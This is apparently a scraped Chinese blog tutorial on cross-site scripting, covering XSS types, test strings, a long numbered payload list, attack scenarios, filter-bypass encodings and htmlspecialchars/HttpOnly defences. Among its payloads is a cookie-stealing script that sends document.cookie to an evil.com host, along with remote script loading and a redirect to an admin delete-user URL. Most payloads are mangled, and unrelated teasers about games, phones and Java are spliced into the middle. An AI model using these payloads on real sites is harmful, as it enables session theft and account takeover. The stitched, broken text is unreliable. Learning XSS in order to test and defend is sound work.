网络安全之从原理看懂XSS（网络安全15个细分方向）
yund56 2025-07-28 23:20 6 浏览
01、XSS的原理和分类
跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets，CSS)的缩写混淆
故将跨站脚本攻击缩写为XSS，恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面时，嵌入Web里面的Script代码会被执行，从而达到恶意攻击用户的目的，XSS攻击针对的是用户层面的攻击；
XSS分为：存储型，反射型，DOM型XSS
存储型XSS：存储型XSS，持久化，代码是存储在服务器中，如在个人信息或发表文章等地方，插入代码，如果没有过滤或者过滤不严，那么这些代码将储存到数据库中，用户访问该页面的时候出发代码执行，这种XSS比较危险，容易造成蠕虫，盗取Cookie；
反射型XSS：非持久化，需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容)，一般容易出现在搜索页面，反射性XSS大多数是用来盗取用户的Cookie信息；
DOM型XSS:不经过后端，DOM-XSS漏洞是基于文档对象模型(Document Object Model ,DOM)的一种漏洞，DOM-XSS是用过url传入参数取控制触发的，其实也属于反射型XSS，DOM的详解：DOM文档对象模型；
【一一帮助安全学习，所有资源关注我，私信回复“资料”获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
documen.write
02、XSS攻击的危害
1、盗取各类用户账号，如机器登陆账号，用户网银账号，各类管理员账号；
2、控制企业数据，包括读取，篡改，添加，删除企业敏感数据的能力；
3、盗取企业重要的具有商业价值的资料；
4、非法转账；
5、强制发送电子邮件；
6、网站挂马；
7、控制受害者机器向其他网站发起攻击；
03、XSS的测试语句
在网站是否存在XSS漏洞时，应该输入一些标签，如<，>输入后查看网页源代码是否过滤标签，如果没有过滤，很大可能存在XSS漏洞。
常用测试语句：1
1
可以看到，网站并没有对标签进行过滤；
可以看到，并没有弹出，但是控制台上输出了1，我们可以确定，确实存在XSS；
闭合问题：很多时候，在测试XSS的时候，想要要考虑到闭合问题，我们首先查看网页的源代码，需要首先判断出来，网站用的时单引号闭合还是双引号闭合；
">x<"
'>x<'
单行注释：
">x//#双斜杠表示注释掉后面的语句
0x04、XSS攻击语句
输入检测确定标签没有过滤，为了显示漏洞存在，需要插入XSS攻击代码；
(1)普通的 XSS JavaScript 注入
(2)IMG 标签 XSS 使用 JavaScript 命令
(3)IMG 标签无分号无引号
(4)IMG 标签大小写不敏感
(5)HTML 编码(必须有分号)
(6)修正缺陷 IMG 标签">
(7)formCharCode 标签(计算器)
(8)UTF-8 的 Unicode 编码(计算器)
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
(10)十六进制编码也是没有分号(计算器)
(11)嵌入式标签,将 Javascript 分开
(12)嵌入式编码标签,将 Javascript 分开
(13)嵌入式换行符
(14)嵌入式回车
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
(16)解决限制字符(要求同页面)
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl-e 'print "";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "
(19)Spaces 和 meta 前的 IMG 标签
(20)Non-alpha-non-digit XSS
(21)Non-alpha-non-digit XSS to 2
(22)Non-alpha-non-digit XSS to 3
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
(31)Input Image
(32)BODY Image
(33)BODY 标签
(34)IMG Dynsrc
(35)IMG Lowsrc
(36)BGSOUND
(37)STYLE sheet
(38)远程样式表
(39)List-style-image(列表式)
(41)META 链接 url
(42)Iframe
(43)Frame
12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table (55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS (67) (68)URL 绕行 各个标签的的攻击语句； svg标签： 标签： 标签： video 标签： style标签： 尽可能找到一切用户可控并且能够输出在页面代码中的地方，比如下面这些： 关于XSS的代码审计主要就是从接收参数的地方和一些关键此入手； PHP中常见的接收参数的方法有_GET，GET，_POST，$_REQUEST等等，可以搜索所有接收参数的方法，然后对接收到的数据进行跟踪，看看有没有输出到页面中，然后看看输出到页面中的数据是否进行了过滤和html编码等处理 也可以搜索类似echo这样的输出语句，跟踪输出的变量是从哪里来的，我们是否能控制，如果从数据库中取得，是否能控制存到数据库得数据，存到数据库之前有没有得到过滤等等； 大多数程序会对接收参数封装在公共文件得函数中统一调用，我们就需要审计这些公共函数看有没有过滤，能否绕过等等； 同理审计DOM型注入可以搜索一些js操作DOM元素得关键字进行审计； 1、Alice经常浏览某个网站，此网站为Bob所拥有，Bob的站点需要Alice使用用户名、密码进行登陆，并存储了Ailce敏感信息(比如银行账户)； 2、Tom发现Bob的站点存在反射的XSS漏洞； 3、Tom利用Bob网站的反射型XSS漏洞编写了一个exp，做成链接的形式，并利用各种手段诱导Alice点击 4、Alice在登陆Bob的站点后，浏览了Tom提供的恶意链接； 5、嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行，此脚本盗取敏感信息(cookie,账号等信息)，然后在Alice完全不知情的情况下将这些信息发送给了Tom； 6、Tom利用获取到的Cookie就可以以Alice的身份信息登陆Bob的站点，如果脚本的功能更强大的化，Tom还可以对Alice的浏览器做控制并进一步利用漏洞控制； 1、Bob拥有一个Web站点，该站点允许用户发布信息，浏览已发布的信息； 2、Tom检测到Bob的站点存在存储型的XSS漏洞； 3、Tom在Bob的网站发布了一个带有恶意脚本的热点信息，该热点信息存储在了Bob的服务器的数据库中，然后吸引其他用户来阅读该热点信息； 4、Bob或者时任何的其他人，如Alice浏览了该信息之后，Tom的恶意脚本就会执行； 5、Tom的恶意脚本执行后，Tom就可以对浏览器该页面的用户发起一次XSS攻击； XSS漏洞能够通过构造恶意的XSS语句实现很多功能，其中做常用的时，构建XSS恶意代码获取对方浏览器的COOKIE； 1）我们首先把恶意代码保存在本地kali里面，实战情况下，我们将代码保存在我们的服务器上； 2）我们在kali，用python开启http服务； python -m http.server 80 3）我们在有XSS漏洞的地方，远程加载我们的恶意代码： 看到浏览器加载了，我们的xss恶意代码； 4）成功获取到了cookie信息 5）图片创建链接 6）字符拼接 这种一般是输入的字符有限制的时候使用 7）jQuery加载 我们接着在输入框输入: 页面直接弹出了xss的页面，可以看到， 我们插入的语句已经被页面给执行了，这就是最基本的反射型XSS漏洞，这种漏洞流向：前端–>后端–>前端 这里有一个用户提交页面，数据提交给后端之后，后端存储在数据库中，然后当其他用户访问另一个页面的时候，后端调出该数据，显示给另一个用户，XSS代码就被执行了； 我们输入3和，接着，我们看看数据库； 可以看到，我们的XSS语句已经插入到数据库中了； 然后当其他用户访问，show2.php页面的时候，我们插入的XSS代码就执行了； 存储型XSS的数据流向是：前端–>后端–>数据库–>后端–>前端 先放源代码： 这里有一个提交页面，用户可以在此提交数据，数据提交之后，给后台处理； 我们可以输入,然后看看页面的变化； 页面直接弹出了hack的页面，我们插入的语句已经被页面给执行了； 这就是DOM型XSS的漏洞，这种漏洞的数据流向是：前端–>浏览器 如果gpc开启的时候，特殊字符会被加上斜杠即，‘变成’，xss攻击代码不要用带单引号和双引号； 绕过gpc在php高版本gpc默认是没有的，但是开发程序员会使用addcslashes()对特殊字符进行转义； 当页面过滤alert这个函数时，因为这个函数会弹窗，不仅很多程序会对他进行过滤，而且很多waf都会对其进行拦截，所以不存在alert即可； 在程序里如果使用了html实体过滤，在php会使用htmlspecialchars()对输入的字符进行实体化，实体化之后的字符不会在html执行，把预定义的字符"<“(小于)和”>"(大于)转化为HTML实体，构造xss恶意代码大多数都必须使用<或者>，这两个字符被实体化之后，html里就不能执行了； 预定义的字符是： &(和号)成为& “(双引号)成为" ’(单引号)成为' <(小于)成为< ·>(大于)成为> 但是又在input这些标签里是不用考虑标签实体化，因为用不上<>这两个标签， 编码直通车： 八进制编码： 16进制编码 jsunicode编码 在=后可以解析html编码 十进制： 十六进制 使用伪协议base64解码执行xss XSS防御的总体思路是：对用户的输入(和URL参数)进行过滤，对输出进行html编码，也就是对用户提交的所有内容进行过滤，对url中的参数进行过滤，过滤掉会导致脚本执行的相关内容，然后对动态输出到页面的内容进行html编码，使脚本无法在浏览器中执行； 对输入的内容进行过滤，可以分为黑名单和白名单过滤，黑名单过滤虽然可以拦截大部分的XSS攻击，但是还是存在被绕过的风险，白名单过滤虽然可以基本杜绝XSS攻击，但是真实环境中一般是不能进行如此严格的白名单过滤的； 对输出进行html编码，就是通过函数，将用户的输入的数据进行html编码，使其不能作为脚本运行； 如下是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码，将其转化为html实体； 我们还可以服务端设置会话Cookie的HTTP Only属性，这样客户端的JS脚本就不能获取Cookie信息了； 以往我们判断一款刚公测的新手游到底火不火，不是瞅苹果的免费榜畅销榜，就是看各家数据网站的预估流水。不过如今这个法子放在《剑网3无界》身上似乎就不那么适用了。作为一款与原端游完全数据互通的手游，点卡制收... 街机厅的霓虹灯在夜色中闪烁，投币口“叮当”的声响此起彼伏，摇杆与按键的碰撞声混合着玩家的欢呼与叹息，构成了那个年代独有的电子交响乐。对于70后、80后、90后来说，街机不仅是游戏，更是一段无法复制的... 当手机游戏被3A画质与开放世界统治的今天，那些藏在像素点阵里的童年记忆，才是真正刻进DNA的快乐密码！我们翻遍全网玩家回忆录，结合抖音、Steam等平台数据，为你揭开这代人的集体记忆封印一、经典益智三... 说起PS2，那可是游戏史上最火的主机之一，上面好游戏多得数不清，给咱们带来过不少欢乐时光。今天，小核桃就带大家回忆一下PS2上那些超经典的动作游戏，一起重温那些热血沸腾的日子吧！当年在电玩店看到《战神... 今年山东的夏天似乎比往年都热，夜晚繁星点点，本该轻柔的晚风却没有丝毫凉意，伴随着远处草丛里此起彼伏的虫鸣声，听的让人心里愈加烦躁，翻来覆去睡不着的笔者，无聊且乏困地坐在院子里的老槐树下，思绪却不由自主... 周末聊点轻松的话题，说起智能手机系统之争，安卓和iOS绝对是两大“宿敌”。2007年苹果在乔布斯带领下发布了初代iPhone，也凭借iOS系统掀起了智能手机的新时代。短短一年后，谷歌联合HTC推出了... 上次写三部最经典的侧滑盖全键盘手机，居然很多人报出了DesireZ的大名，这让我很吃惊。因为这部手机没有行货只有水货，你们咋都用过？那今天好好聊聊它。十多年前，HTC是安卓手机领域绝对的霸主，当年只... 当iPhone16系列已经开始预热，有人却还握着2015年发布的iPhone6s刷着微信、看视频——这部诞生已近十年的手机，至今仍在不少人的生活里扮演着重要角色。它的“超长寿命”... 任天堂的16位主机SFC可是游戏史上的一个高峰，它用像素画面打造出无数经典作品，其中结合动作和冒险的ARPG特别受欢迎。最近几年复古风又火起来，大厂们忙着移植或重制老游戏，模拟器也让玩家轻松重温旧梦。... 对于游戏手机的起源，众说纷纭，有人认为是黑鲨问世，有人说是红魔领路，还有人坚称自从iPhone问世起，游戏手机就已然存在。然而，如果从更宏观的角度审视，这些所谓的游戏手机，其本质上仍旧是多功能的智能手... 1.魂斗罗这是我玩过的第一款插卡游戏，永远记得上上下下左左右右，BABA开始，这个可以有三十条命的“魔法。”也是第一次体验双打游戏的那行配合的责任感使命感。2.忍者神龟四只神龟的名字都是意大利著名的画... 以下是个人总结的一些代码习惯问题和优化，单独一个也许不起眼，但堆积起来，就让一个项目代码变成一座屎山。1.滥用`public`修饰符o重要性：滥用`public`修饰符可能导致类的成员变量或方法被不... java的多线程处理，有哪些模式可以使用呢，如何使用呢。本文列举了六种多线程设计模式供大家参考。1.生产者-消费者模式设计理念：生产者-消费者模式通过协调两个线程（生产者和消费者）来处理数据，生产者生... java中的引用分为4种1.强引用引用存在就不会被GC*2.软引用heapmemory（堆内存）满了就会被GC掉*3.弱引用每次GC就会回收掉（应用有：ThreadLocal）*4.... 点击上方Java编程技术乐园，轻松关注！及时获取有趣有料的技术文章文章很有趣，开心一下，如果有收获，记得点赞和关注哦~「1」外包产品交付，给客户演示时「2」与领导斗智斗勇，躲猫猫「3」领导总是能识破程...
(45)TD
(46)DIV background-image
(47)DIV background-image 后加上额外字符
(1-32&34&39&160&8192-8&13&12288&65279) **
(48)DIV expression
(49)STYLE 属性分拆表达
(50)匿名 STYLE(组成:开角号和一个字母开头)
(51)STYLE background-image
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
(54)BASE
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
implementation="http://3w.org/XSS/xss.htc">
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
(59)IMG 嵌入式命令,可执行任意命令
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤·
(62)
(63)
(64)
(65)
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6
PT SRC="http://3w.org/xss.js">
XSS
(69)URL 编码
XSS
(70)IP 十进制
XSS
(74)节省[http:]
XSS
(75)节省[www]
XSS
(76)绝对点绝对 DNS
XSS
(77)javascript 链接
XSS #弹出hack
#弹出hack
#弹出1，对于数字可以不用引号
#弹出cookie
#引用外部的xss
#弹出cookie
05、XSS漏洞的挖掘
5.1、黑盒测试
5.2、常见业务场景
5.3、白盒审计
06、XSS的攻击过程
6.1、反射型XSS漏洞：
6.2、存储型XSS漏洞：
07、XSS攻击测试
7.1、远程加载攻击payload
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
有的情况要用/**/注释不需要的代码。
7.2、反射型XSS：
//前端 1.html：
7.3、存储型XSS：
//前端：2.html
7.4、DOM型XSS
// 前端3.html
08、XSS编码绕过
8.1、gpc过滤字符
这个是执行不了的
没有单引号可执行8.2、过滤alert
8.3、过滤标签
8.4、ascii编码
8.5、url编码
8.6、JS编码
https://www.jb51.net/tools/zhuanhuan.htm8.7、HTML编码
''
8.8、base64编码
111
0x09、XSS的防御
#使用htmlspecialchars函数对用户输入的name参数进行html编码，将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
相关推荐